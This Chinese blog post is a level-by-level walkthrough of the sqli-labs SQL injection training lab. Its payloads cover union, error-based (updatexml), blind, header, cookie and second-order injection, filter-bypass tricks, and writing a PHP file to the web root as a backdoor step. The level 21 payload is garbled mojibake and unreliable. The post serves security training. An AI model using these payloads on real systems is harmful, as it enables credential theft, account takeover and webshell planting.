目录
updatexml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
25a
26
26a
27
27a
28
28a
问题:你了解sql注入吗
答:由于程序过滤不严谨,用户异常输入,这些输入会导致数据库异常查询,最终导致sql注入
mysql三种注释符:
--+
#
/**/
updatexml
updatexml()
UPDATEXML (XML_document, XPath_string, new_value);
这个函数作用是替换数据,三个参数对应的分别是源文档、要查找的元素路径、新的值
例子:
UPDATE mytable SET xml_data = updatexml(xml_data, '/path/to/element', 'new_value') WHERE ...
一个名为"mytable"的表,其中包含一个名为"xml_data"的XML类型列。要将XML文档中"path/to/element"元素的值替换为"new_value
报错注入利用:
0x7e是~的十六进制,会让xpath参数报错,然后返回报错信息,同时在xpath参数中插入concat()连接字符串,和所要查询的内容,例如database()
即可将查询内容与报错信息一起反馈出来。
1
1.判断注入类型:先单引号发现报错,说明是单引号注入
2.判断字段数:用order by ,经测试:?id=1' order by 4 --+发生报错,说明只有3个字段
3.查看回显位置:用一个不存在id测试回显位置:?id=-1' union select 1,2,3 --+,发现,2,3是回显位置
4.查数据:
库名: ?id=-1' union select 1,database(), 3--+,得到security
表名: ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+,得到四张表:
emails,referers,uagents,users
字段名:就是将表名的table改成columns,得到表名,太多了就不列举了
发现两个关键的username,password
查字段内容:?id=-1' union select 1,group_concat(username),3 from security.users--+,查哪个字段就把username改成对应字段名即可
最终得到账号密码
2
1.判断注入类型:单双引号都报错了,引号闭合不了,不是字符注入。是数字注入
2.用order by 判断字段数为3
3.用union判断回显位置为2,3
4.查数据:
库名:?id=-1%20union%20select%201,database(),--+,得到security
表名:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
字段名:把表名的table和tables改成column和columns
查账号密码:?id=-1 union select 1,group_concat(username),3 from security.users--+
3
1.判断注入类型,测试了1和双引号没异常,单引号发现报错,说有括号,所以再闭合一个括号 id=1')
2.判断字段和回显分别是3和2,3
3.查数据跟前面一样
4
从3的单引号变成双引号,其他不变
5
1.判断注入类型,发现只有id=1'能报错
2.测试字段数和回显发现无法使用联合查询了,使用报错注入
3.查数据:
库名:?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
表名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
字段名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'),0x7e),1)--+
用户密码:
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+ ?id=-1' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)--+
6
只是把单引号换成了双引号,其他和5关一样
7
这关很奇怪,要做出来得去改mysql的配置文件,允许上传文件,然后直接传后门,但是都能修改文件了,还有必要改ini吗
但是不妨也是一种手段:
利用前提:1.是root,2.目录是网站的根路径,也就是网站能访问到该路径
先修改my.ini的secure_file_priv="要上传文件的路径"
然后闭合后写导出语句
?id=1')) union select 1,2,'<?php phpinfo(); ?>' into outfile "D:\phpstudy_pro\WWW\shellaa.php"--+
然后就把我们的shellaaa.php上传到这个目录下了,可以传一句话后门直接用蚁剑登录,我这里测试用的是phpinfo();
8
判断注入类型:初步判断为bool盲注
库名:
库名的长度:?id=1' and length(database())>8 --+数字加到8没有回显,说明库名长度为8。库名:?id=1' and ascii(substr((database()),1,1))=115 --+当等于115的时候有回显,说明库名的第一个字符为s,以此类推
表名、字段名类似,盲注比较麻烦,建议用脚本或者sqlmap
9
判断注入类型:测试对错都不变,是时间盲注
跟布尔盲注的区别就在于加了一个sleep()函数
?id=1; and if(ascii(substr(database(),1,1))>100,sleep(2),0)--+
如果条件为真就会延迟两秒回显,也可以看网页检查的network模块的加载时间的变化,我们以此来判断是否为真,其余思路与布尔盲注一样
10
和第9关的注入唯一区别就是不用闭合了
11
用户名输入单引号报错,用updatexml尝试报错注入
直接在用户名测试:aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1)# 这里因为是post提交,所以注释用的#
然后成功回显库名了,然后用户输入admin,密码输入-1' union select 1,2#
看到回显位置,然后就直接查数据即可
12
跟11题区别就是密码框输入的时候用双引号闭合:-1' union select 1,2#
13
改动:单引号+括号闭合,其他跟11一样
14
双引号闭合的,正常回显被注释,不能用联合查询,首选用updatexml报错注入、也可以bool盲注根据返回的图片来判断
15
从14的双引号闭合变成了单引号闭合,其他一样
16
又变成了双引号+括号
17
先判断魔术开关(只在php低版本有),然后用一个stripslashes(),作用是去掉转义符
再判断是否为数字,然后用mysql_real_escape_string()(也是个低版本的函数)对特殊字符转义,例如单双引号
解释:如果不判断魔术开关,会自动转义一次,然后到了mysql_real_escape_string()这个函数又转义一次,这样双重转义等于没有转义,单引号就逃出限制了,开着的话就会只转义一次,单引号就被转义失效了
用户名是admin
密码先测试一下单引号闭合,报错了
那么尝试报错注入成功回显:payload:123456' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
注意单引号前面的密码要符合规范,例如我只写了个aaa就会报错不合法
18
header头注入
看源码知道用户名密码都被过滤了,但是重新获取了两个值:HTTP_USER_AGENT和REMOTE_ADDR,并且放到数据库里了,我们选择USER_AGENT,因为REMOTE_ADDR改不了
用火狐的hackbar:
post:uname=admin&passwd=0
user agent添加一行aaa'提交后发现报错,原因是插入值为3个,我们写了四个
用and连接就不影响了,还是原来的三个
所以payload:aaaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1
成功报错回显出用户
19
header头变成了referer了
然后跟上一题一样
20
这关将用户名放入cookie,然后把cookie放到数据库中查询
所以注入点就是username
还是用firefox的hackerbar来伪造cookie,测试单引号闭合回显报错
直接伪造cookie看回显:-1' union select 1,2,3,4,5#
2,3回显位置出现,后面按套路查就行
注:username错误就被过滤,正确才放到cookie,然后数据库查cookie,所以修改username没意义,应该伪造cookie
21
cookie拿username的时候进行了一次base64编码,然后再把cookie解码放进数据库中查询
所以我们就是把payload进行base64编码然后放给cookie就行了
payload:ºv¦|§vê]j×±]\¢w·L{zÇ¥yËn±êôÇ·µjwu
22
换了个闭合方式:双引号闭合
23
先闭合再注释测试,发现注释符被过滤了
那就不注释了,用and '1'='1
测试成功回显:?id=-1' union select 12,3,4,5 and '1'=‘1
剩下的又和第一关一样了
24
先注册,然后登录,进去后看到修改密码界面
看源码,又遇到mysql_real_escape_string()这个函数了
简单说就是给单引号加个注释符,但是关键是数据存到数据库的时候,这个注释符会去掉,也就是把单引号存到数据库中了
那么查询的时候,这个名字从数据库中拿出来,引号也会被拿出来
所以这样做:
找一个已存在的用户名例如abc,然后注册用户abc'#
再修改密码的话由于引号闭合和注释,会导致用户abc的密码被修改,那么我们就知道abc的密码了
25
所有的or 和 and被过滤
这是限制的报错注入,和password这个关键字
我们直接用第一题的解法就行,password写成passwoorrd成功爆出数据
25a
没有闭合,数字型的,其他跟25一样
26
过滤了注释符、and、or、空格、*也被过滤了
可以用括号代替空格,然后and用anandd绕过就行了,当然不看源码的话要尝试会花不少时间
在linux下可以替换空格的:%0a、%0b、%0c、%0d、%a0
这里经测试不行,但是其他情况可能有奇效
26a
报错注入被注释了,尝试联合查询也不行
那就试试布尔盲注
payload:?id=1')aandnd(ascii(substr(database(),1,1))>100)anandd('1')=('1
发现回显正确的值,说明可以使用布尔盲注后面步骤就一样,不赘述了
27
联合查询被过滤
union的大写、小写、空格都被过滤了、还过滤了三次select
空格用%0a替代,union用UNion这种大小写组合就可以绕过
select写成四个拼起来的就行:selselselselectectectect
除了这些过滤,其他就跟联合查询一样了
27a
闭合方式不一样,是单引号,然后过滤select的正则没有写i,所以直接写成SELect就能绕过
28
过滤了union+select,也就是union和select之间不能写内容
还是老样子,双写,用%0a代替空格:
union%0aunion%0aselectselect
或者还能用布尔盲注文章来源:https://www.toymoban.com/news/detail-706143.html
28a
没啥区别,同样的和上一关一样的payload也能过文章来源地址https://www.toymoban.com/news/detail-706143.html
到了这里,关于sqli-labs部分关思路的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!